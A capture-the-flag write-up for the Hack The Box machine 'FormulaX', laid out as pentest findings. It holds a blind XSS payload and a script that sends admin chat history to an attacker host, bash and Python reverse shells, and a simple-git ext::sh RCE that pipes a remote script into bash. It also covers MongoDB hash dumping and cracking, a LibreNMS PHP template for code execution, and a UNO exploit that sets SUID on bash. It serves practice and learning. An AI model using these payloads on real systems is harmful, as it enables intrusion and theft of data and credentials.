writeup 2024-03-22 · 8 min read

Hack The Box FormulaX Writeup (Hard Linux)

Hard Linux box. Blind XSS steals the admin chatbot history, a simple-git RCE gives a shell, and LibreOffice UNO over sudo sets the SUID bit on bash.

Hack The Box FormulaX Writeup (Hard Linux)

Summary

FormulaX runs a chat application whose contact form stores messages unescaped, so an image tag with an onerror handler loads attacker JavaScript in the administrator’s browser. Session cookies are HttpOnly, but the injected script can open the socket.io connection itself, send the history command and exfiltrate the admin’s chatbot transcript, which names the hidden virtual host dev-git-auto-update.chatbot.htb. That host runs simple-git 3.14, vulnerable to command execution through the ext transport in clone(), and a POST with an ext::sh payload returns a shell as www-data. MongoDB on 27017 accepts unauthenticated connections, so the testing database gives up bcrypt hashes and hashcat recovers frank_dorky’s password for SSH. A writable /opt/librenms lets the tester add their own LibreNMS account, and an alert template containing a php block executes as librenms; that account’s environment holds kai_relay’s database credentials, which the user reuses for SSH. Finally kai_relay may run /usr/bin/office.sh as root, which starts LibreOffice Calc listening for UNO connections, and the Apache UNO SystemShellExecute service runs an attacker script as root to set the SUID bit on /bin/bash.

Initial Target - 10.10.11.6

Service Enumeration

IP AddressTCP Ports Open
10.10.11.622, 80

Target: Web Server (port 80)

Virtual Hosts: chatbot.htb dev-git-auto-update.chatbot.htb

BS01: Blind Cross-Site Scripting (XSS)

Explanation: The contact form at http://chatbot.htb/restricted/contact_us.html allow for an authenticated user to send messages to the admin. The problem is that it is vulnerable to XSS, and when the admin opens to see the messages, they get javascript code executed in their browser. Fortunately, a remote attacker wouldn’t be able to exfiltrate session cookies, as they are marked as ‘HttpOnly’.

Severity: Medium

Recommendation: (recommendation)

Steps to Reproduce:

  1. Create an account at http://chatbot.htb/static/register.html, and log in to it.

  2. In the contact form at /restricted/contact_us.html, send the following payload:

1
<img src="bsec" onerror="var bsec=document.createElement('script');bsec.src='http://YOUR-TUN0-IP-ADDRESS/evil.js';document.head.appendChild(bsec);" />
  1. We can host a simple python webserver to verify the PoC: python3 -m http.server 80

  2. The message is sent, the admin opens it and we get a connection back.

BS02: Admin Chatbot History Exposure

Explanation: By abusing BS01, it is possible to include the necessary javascript code in order to interact with the websocket as admin, and retrieve their chatbot history. That history includes sensitive information regarding the existence of a, otherwise hidden, subdomain (dev-git-auto-update.chatbot.htb).

Severity: Elevated

Steps to Reproduce the Attack:

  1. Create the following evil.js file in your local system:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// We include the socket.io script by inserting it into the head of the document in order to interact with the socket.
const socketScript = document.createElement('script');
socketScript.src = '/socket.io/socket.io.js';
document.head.appendChild(socketScript);

// Wait until the socket script is fully loaded
socketScript.addEventListener('load', () => {
    const socket = io('/', {withCredentials: true});

    // Get initial data from the server
    const res = axios.get(`/user/api/chat`);

    // Listening for the messages
    socket.on('message', (my_message) => {
        fetch('http://YOUR-TUN0-IP-ADDRESS/?' + btoa(my_message));
    });

    // Send the history command
    socket.emit('client_message', 'history');
});
  1. Run a simple python http server: python3 -m http.server 80

  2. Send the XSS payload in BS01.

  3. Pay attention to the terminal you used to fire up the http server, as the messages will be coming base64 encoded.

  4. Get all the messages. You can save them all to a text file and use cat messages.enc | base64 -d. These are the messages:

1
2
3
4
5
6
7
R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM=

SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg==

V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk=

V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl

Initial Access

BS03: Remote Code Execution (RCE) - simple-git package, versions <3.15.0

Explanation: simple-git is a light weight interface for running git commands in any node.js application. Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext transport protocol, which makes it exploitable via clone() method. This vulnerability exists due to an incomplete fix of CVE-2022-24066. Source.

The subdomain dev-git-auto-update.chatbot.htb is hosting a vulnerable version of simple-git (v3.14), and is susceptible to remote code execution. A remote attacker could be able to execute commands as www-data, and thus, get access to all web server files, including configuration files.

Severity: High

Recomendation: (recommendation)

Steps to Reproduce:

  1. Create evil.sh
1
2
3
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.19/1337 0>&1
  1. Run a python webserver: python3 -m http.server 80

  2. Use netcat to listen on port 1337: nc -lvnp 1337

  3. Send a POST request using curl: curl -X POST -H "Content-Type: application/json" --data '{"destinationUrl": "ext::sh -c curl% http://10.10.14.19/evil.sh|bash"}' http://dev-git-auto-update.chatbot.htb/clone

  4. Appreciate your shell!

Post-Exploitation

BS04: Horizontal Privilege Escalation - Password Hash Cracking

Explanation: The user www-data is able to access the mongodb instance on port 27017 without credentials. By abusing this access, a remote attacker could exfiltrate password hashes for valid users in the system and try to crack them on their local machine. We were able to crack frank_dorky’s password with ease and log in as ssh, indicating that the password policy is not great.

Severity: Elevated

Recommendation: (recommendation)

Steps to Reproduce:

  1. As www-data, use: mongo to access the console.

  2. You can list the available databases by issuing the command show dbs.

  3. The database that is interesting to us is “testing”, so we use it: use testing.

  4. Dump the users collection in order to retrieve the password hash for frank_dorky (and other users): db.users.find()

  5. Save the password hash for frank_dorky locally as “hash.txt”

  6. Use hashcat to crack it with the rockyou wordlist: hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

  7. Wait a few minutes and then use the cracked password to log in as frank_dorky via ssh.

BS05: Horizontal Privilege Escalation - Librenms

Explanation: It is possible to add new users to the librenms instance that is running locally on port 3000, due to a misconfiguration in the /opt/librenms folder permissions. By logging in to via the librenms panel, it is possible to execute a malicious php template that executes system commands as the user librenms.

Severity: Elevated

Recommendation: (recommendation)

Steps to Reproduce:

  1. Add a new user to librenms: /opt/librenms/adduser.php bsec bsec 10

  2. Use SSH tunneling to get access to librenms: ssh -L 3000:localhost:3000 frank_dorky@10.10.11.6

  3. Add “librenms.com” to your /etc/hosts file to make sure everything works properly. Yours should look something like this:

1
2
3
4
5
6
7
8
127.0.0.1	localhost
::1		localhost ip6-localhost ip6-loopback ctf
ff02::1		ip6-allnodes
ff02::2		ip6-allrouters

127.0.1.1 ctf
10.10.11.6 chatbot.htb dev-git-auto-update.chatbot.htb
127.0.0.1 librenms.com
  1. Access the librenms panel at http://librenms.com:3000 and log in using your newly created credentials.

  2. Go to Alerts > Alert Templates and click to edit a random template.

  3. Back to your attacking machine terminal, the following script with your VPN IP address:

1
export RHOST="YOUR-TUN0-IP-ADDRESS";export RPORT=1337;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
  1. Save the above script to “payload.sh” and base64-encode it: cat payload.sh | base64

  2. Use netcat to listen on port 1337: nc -lvnp 1337

  3. Copy the base64 encoded payload and paste in the template field using the following format:

1
2
3
@php
system("echo YOUR-BASE64-ENCODED-TEMPLATE | base64 -d | sh");
@endphp
  1. Click to save the template and you’ll get a shell.

BS06: Horizontal Privilege Escalation - Environment Variables

Explanation: Some of the environment variables set for the user librenms are related to authentication. More specifically, they are using kai_relay credentials as DB_USERNAME and DB_PASSWORD. Turns out these credentials aren’t just meant for database authentication, instead, kai_relay is reusing passwords to log in in their user account too.

Severity: Elevated

Recommendation: (recommendation)

Steps to Reproduce:

  1. Simply refer to **BS05 **to get a reverse shell connection as librenms and execute the command: env.

  2. With the credentials you extract from DB_USERNAME and DB_PASSWORD environment variables, you can log in via ssh.

BS07: Vertical Privilege Escalation - ApacheUNO RCE

Explanation: UNO stands for Universal Network Objects and is the base component technology for Apache OpenOffice. You can utilize and write components that interact across languages, component technologies, computer platforms, and networks (source).

User kai_relay can run /usr/bin/office.sh script as root using sudo. The main command in the script launches LibreOffice Calc, a popular open-source office suite, specifically its spreadsheet program, in a special mode designed for remote control and automation.

The problem is, though, that an attacker could be able to execute commands as root using the Apache OpenOffice UNO API.

Severity: Extreme

Recommendations: (recommendations)

Steps to Reproduce:

  1. Create the following exploit in the victim machine as exploit.py (the original PoC for the vulnerability can be found here):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3

import argparse
import uno
from com.sun.star.system import XSystemShellExecute

COMMAND = "bash"
ARGUMENTS = "/home/kai_relay/evil.sh"

HOST = "localhost"
PORT = 2002

# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
				"com.sun.star.bridge.UnoUrlResolver", localContext)

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(f"uno:socket,host={HOST},port={PORT};urp;StarOffice.ComponentContext")
  
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print(f"[+] Connected to {HOST}")
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute(COMMAND, ARGUMENTS, 1)
  1. At /home/kai_relay, create evil.sh:
1
2
3
#!/bin/bash

chmod +s /bin/bash
  1. Add exec permission to evil.sh: chmod +x evil.sh

  2. Execute the office script as root and let it run in the background: sudo /usr/bin/office.sh &amp;

  3. Run the python exploit: python3 exploit.py

  4. If everything went correctly, you’ll be able to run /bin/bash -p and get root privileges.

This post is licensed under CC BY 4.0 by the author.